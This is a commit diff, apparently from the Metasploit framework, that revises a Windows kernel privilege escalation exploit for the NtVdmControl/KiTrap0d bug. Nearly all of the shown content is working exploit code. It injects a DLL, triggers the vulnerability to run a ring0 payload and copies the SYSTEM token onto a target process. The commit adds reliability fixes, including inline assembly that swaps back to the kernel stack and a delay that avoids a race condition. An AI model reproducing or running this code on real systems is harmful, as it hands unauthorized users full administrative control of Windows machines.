Tweaks for reliability
git-svn-id: file:///home/svn/framework3/trunk@8226 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
37c1441c6c
commit
9f37906ba9
|
@ -115,11 +115,11 @@ int main(int argc, char **argv)
|
|||
HANDLE VdmHandle;
|
||||
HANDLE RemoteThread;
|
||||
DWORD ShellPid = 0;
|
||||
DWORD KillPid = 0;
|
||||
DWORD KillPid = 0;
|
||||
DWORD ThreadCode;
|
||||
DWORD KernelBase;
|
||||
TCHAR VDMPath[_MAX_PATH];
|
||||
TCHAR CMDPath[_MAX_PATH];
|
||||
TCHAR VDMPath[_MAX_PATH];
|
||||
TCHAR CMDPath[_MAX_PATH];
|
||||
CHAR Buf[32];
|
||||
DWORD Offset;
|
||||
|
||||
|
@ -148,23 +148,8 @@ int main(int argc, char **argv)
|
|||
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
|
||||
goto finished;
|
||||
}
|
||||
} else {
|
||||
|
||||
// Spawn the process as a placeholder, no idea why this is needed yet (BSOD w/o).
|
||||
LogMessage(L_INFO, "Spawning a shell to make the process happy (ignore this)");
|
||||
|
||||
if (PrepareProcessForSystemToken(CMDPath, &ShellPid) != TRUE) {
|
||||
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
|
||||
goto finished;
|
||||
}
|
||||
KillPid = ShellPid;
|
||||
ShellPid = atoi(argv[1]);
|
||||
}
|
||||
|
||||
// Dance around a consistent BSOD if we don't wait
|
||||
LogMessage(L_INFO, "Waiting two seconds while the child process initializes...");
|
||||
Sleep(2000);
|
||||
|
||||
// Scan kernel image for the required code sequence, and find the base address.
|
||||
if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) {
|
||||
LogMessage(L_ERROR, "ScanForCodeSignature() returned failure");
|
||||
|
@ -192,11 +177,13 @@ int main(int argc, char **argv)
|
|||
goto finished;
|
||||
}
|
||||
|
||||
|
||||
// Wait for the thread to complete
|
||||
LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread);
|
||||
|
||||
WaitForSingleObject(RemoteThread, INFINITE);
|
||||
|
||||
|
||||
// I pass some information back via the exit code to indicate what happened.
|
||||
GetExitCodeThread(RemoteThread, &ThreadCode);
|
||||
|
||||
|
@ -235,7 +222,7 @@ int main(int argc, char **argv)
|
|||
case 'w00t':
|
||||
// This means the exploit payload was executed at ring0 and succeeded.
|
||||
LogMessage(L_INFO, "The exploit thread reports exploitation was successful");
|
||||
if(! KillPid)
|
||||
if(! KillPid)
|
||||
LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");
|
||||
break;
|
||||
default:
|
||||
|
@ -359,6 +346,7 @@ static BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE Re
|
|||
RemotePage,
|
||||
0,
|
||||
NULL);
|
||||
CloseHandle(ProcessHandle);
|
||||
|
||||
return *RemoteThread != NULL;
|
||||
}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
//
|
||||
//
|
||||
// --------------------------------------------------
|
||||
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
|
||||
// -------------------------------------------- taviso@sdf.lonestar.org ---
|
||||
|
@ -12,6 +12,11 @@
|
|||
// This file contains the exploit payload and VDM Subsystem control routines.
|
||||
//
|
||||
|
||||
// This file has been modified from the original:
|
||||
// * The CurrentThread is now much more precise thanks to research/code from Pusscat
|
||||
// * The Sleep(1000) call before triggering the bug avoids a rare race condition in thread initialization
|
||||
// * The ZwTerminateProcess path has been updated to flip back to the kernel stack first
|
||||
|
||||
#ifndef WIN32_NO_STATUS
|
||||
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
|
||||
#endif
|
||||
|
@ -63,6 +68,8 @@ static HMODULE KernelHandle;
|
|||
# define PAGE_SIZE 0x1000
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
// http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
|
||||
enum { VdmStartExecution = 0, VdmInitialize = 3 };
|
||||
|
||||
|
@ -70,20 +77,30 @@ VOID FirstStage();
|
|||
BOOL InitializeVdmSubsystem();
|
||||
PVOID KernelGetProcByName(PSTR);
|
||||
BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);
|
||||
BOOL CheckAndReplace(PDWORD, DWORD, DWORD, DWORD);
|
||||
|
||||
DWORD ethreadOffsets[] = { 0x6, // WinXP SP3, VistaSP2
|
||||
0xA // Windows 7, VistaSP1
|
||||
};
|
||||
|
||||
// This routine is where I land after successfully triggering the vulnerability.
|
||||
VOID FirstStage()
|
||||
{
|
||||
FARPROC DbgPrint;
|
||||
FARPROC PsGetCurrentThread;
|
||||
FARPROC PsGetCurrentProcessId;
|
||||
FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
|
||||
FARPROC PsLookupProcessByProcessId;
|
||||
FARPROC PsReferencePrimaryToken;
|
||||
FARPROC ZwTerminateProcess;
|
||||
PVOID CurrentProcess;
|
||||
PVOID CurrentThread;
|
||||
PVOID TargetProcess, *PsInitialSystemProcess;
|
||||
DWORD StackBase, StackLimit;
|
||||
DWORD StackBase, StackLimit, NewStack;
|
||||
DWORD i;
|
||||
LIST_ENTRY *ThreadListHead;
|
||||
HANDLE pid;
|
||||
DWORD pret;
|
||||
|
||||
// Keep interrupts off until I've repaired my KTHREAD.
|
||||
__asm cli
|
||||
|
@ -91,6 +108,7 @@ VOID FirstStage()
|
|||
// Resolve some routines I need from the kernel export directory
|
||||
DbgPrint = KernelGetProcByName("DbgPrint");
|
||||
PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread");
|
||||
PsGetCurrentProcessId = KernelGetProcByName("PsGetCurrentProcessId");
|
||||
PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase");
|
||||
PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit");
|
||||
PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess");
|
||||
|
@ -102,34 +120,30 @@ VOID FirstStage()
|
|||
StackLimit = (DWORD) PsGetCurrentThreadStackLimit();
|
||||
StackBase = (DWORD) PsGetCurrentThreadStackBase();
|
||||
|
||||
DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p",
|
||||
CurrentThread,
|
||||
StackBase,
|
||||
StackLimit);
|
||||
//DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p\n",
|
||||
// CurrentThread,
|
||||
// StackBase,
|
||||
// StackLimit);
|
||||
|
||||
NewStack = StackBase - ((StackBase - StackLimit) / 2);
|
||||
|
||||
// First I need to repair my CurrentThread, find all references to my fake kernel
|
||||
// stack and repair them. Note that by "repair" I mean randomly point them
|
||||
// somewhere inside the real stack.
|
||||
DbgPrint("Repairing references to %p-%p in CurrentThread@%p...",
|
||||
&KernelStackPointer[0],
|
||||
&KernelStackPointer[KernelStackSize - 1],
|
||||
CurrentThread);
|
||||
|
||||
// For every stack location, try to find all references to it in my
|
||||
// CurrentThread.
|
||||
for (i = 0; i < KernelStackSize; i++) {
|
||||
// The size of this structure varies between kernels, whats the maximum
|
||||
// size likely to be?
|
||||
CONST DWORD MaxExpectedEthreadSize = 0x200;
|
||||
|
||||
// Find and repair all references to this location
|
||||
while (FindAndReplaceMember((PDWORD) CurrentThread,
|
||||
(DWORD) &KernelStackPointer[i],
|
||||
(DWORD) StackBase - ((StackBase - StackLimit) / 2),
|
||||
MaxExpectedEthreadSize,
|
||||
FALSE))
|
||||
;
|
||||
}
|
||||
// Walk only the offsets that could possibly be bad based on testing, and see if they need
|
||||
// to be swapped out. O(n^2) -> O(c) wins the race!
|
||||
for (i = 0; i < sizeof(ethreadOffsets) / sizeof (DWORD); i++) {
|
||||
CheckAndReplace((((PDWORD) CurrentThread)+ethreadOffsets[i]),
|
||||
(DWORD) &KernelStackPointer[0],
|
||||
(DWORD) &KernelStackPointer[KernelStackSize - 1],
|
||||
(DWORD) NewStack);
|
||||
}
|
||||
|
||||
// DbgPrint("CurrentProcess: 0x%.8x (newstack: 0x%.8x\n", CurrentProcess, NewStack);
|
||||
// ThreadListHead = (LIST_ENTRY *) ((unsigned char *)CurrentProcess) + 0x190;
|
||||
|
||||
//DbgPrint("ThreadListHead[1]: FLink:0x%.8x, BLink:0x%.8x\n", ThreadListHead->Flink, ThreadListHead->Blink);
|
||||
|
||||
// Find the EPROCESS structure for the process I want to escalate
|
||||
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
|
||||
|
@ -139,15 +153,15 @@ VOID FirstStage()
|
|||
// What's the maximum size the EPROCESS structure is ever likely to be?
|
||||
CONST DWORD MaxExpectedEprocessSize = 0x200;
|
||||
|
||||
DbgPrint("PsLookupProcessByProcessId(%u) => %p", TargetPid, TargetProcess);
|
||||
DbgPrint("PsInitialSystemProcess @%p", *PsInitialSystemProcess);
|
||||
// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
|
||||
//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);
|
||||
|
||||
// Find the Token object for my target process, and the SYSTEM process.
|
||||
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
|
||||
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
|
||||
|
||||
DbgPrint("PsReferencePrimaryToken(%p) => %p", TargetProcess, TargetToken);
|
||||
DbgPrint("PsReferencePrimaryToken(%p) => %p", *PsInitialSystemProcess, SystemToken);
|
||||
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
|
||||
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);
|
||||
|
||||
// Find the token in the target process, and replace with the system token.
|
||||
FindAndReplaceMember((PDWORD) TargetProcess,
|
||||
|
@ -155,21 +169,28 @@ VOID FirstStage()
|
|||
(DWORD) SystemToken,
|
||||
MaxExpectedEprocessSize,
|
||||
TRUE);
|
||||
|
||||
// Success, try to terminate the current process.
|
||||
ZwTerminateProcess(GetCurrentProcess(), 'w00t');
|
||||
// Success
|
||||
pret = 'w00t';
|
||||
} else {
|
||||
// Maybe the user closed the window?
|
||||
DbgPrint("PsLookupProcessByProcessId(%u) Failed", TargetPid);
|
||||
|
||||
// Report this failure
|
||||
ZwTerminateProcess(GetCurrentProcess(), 'LPID');
|
||||
pret = 'LPID';
|
||||
}
|
||||
|
||||
// Oops, Something went wrong, restore interrupts and spin here.
|
||||
__asm sti
|
||||
|
||||
for (;;) __asm pause
|
||||
__asm {
|
||||
mov eax, -1 // ZwCurrentProcess macro returns -1
|
||||
mov ebx, NewStack
|
||||
mov ecx, pret
|
||||
mov edi, ZwTerminateProcess
|
||||
mov esp, ebx // Swap the stack back to kernel-land
|
||||
mov ebp, ebx // Swap the frame pointer back to kernel-land
|
||||
sub esp, 256
|
||||
push ecx // Push the return code
|
||||
push eax // Push the process handle
|
||||
sti // Restore interrupts finally
|
||||
call edi // Call ZwTerminateProcess
|
||||
__emit 0xCC; // Hope we never end up here
|
||||
}
|
||||
}
|
||||
|
||||
// Search the specified data structure for a member with CurrentValue.
|
||||
|
@ -192,6 +213,8 @@ BOOL FindAndReplaceMember(PDWORD Structure,
|
|||
for (i = 0; i < MaxSize; i++) {
|
||||
if ((Structure[i] & Mask) == CurrentValue) {
|
||||
// And finally, replace it with NewValue.
|
||||
if (ObjectRefs == FALSE)
|
||||
__asm int 3
|
||||
Structure[i] = NewValue;
|
||||
return TRUE;
|
||||
}
|
||||
|
@ -201,6 +224,15 @@ BOOL FindAndReplaceMember(PDWORD Structure,
|
|||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL CheckAndReplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value) {
|
||||
if (*checkMe >= rangeStart && *checkMe <= rangeEnd) {
|
||||
*checkMe = value;
|
||||
return TRUE;
|
||||
} else {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// Find an exported kernel symbol by name.
|
||||
PVOID KernelGetProcByName(PSTR SymbolName)
|
||||
{
|
||||
|
@ -216,7 +248,7 @@ PVOID KernelGetProcByName(PSTR SymbolName)
|
|||
ImageBase = (PUCHAR) KernelHandle;
|
||||
DosHeader = (PIMAGE_DOS_HEADER) ImageBase;
|
||||
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
|
||||
+ PeHeader->OptionalHeader
|
||||
. DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
. VirtualAddress);
|
||||
|
@ -263,7 +295,7 @@ BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
|
|||
FillMemory(&KernelStack, sizeof KernelStack, 'K');
|
||||
|
||||
// Parent passes parameters via environment variables.
|
||||
//
|
||||
//
|
||||
// - VDM_TARGET_PID
|
||||
// Pid of the process to transplant a SYSTEM token onto.
|
||||
// - VDM_TARGET_OFF
|
||||
|
@ -298,6 +330,10 @@ BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
|
|||
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
|
||||
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||||
|
||||
// Allow thread initialization to complete. Without is, there is a chance
|
||||
// of a race in KiThreadInitialize's call to SwapContext
|
||||
Sleep(1000);
|
||||
|
||||
// Trigger the vulnerable code via NtVdmControl().
|
||||
while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
|
||||
NtVdmControl(VdmStartExecution, NULL);
|
||||
|
|
Loading…
Reference in New Issue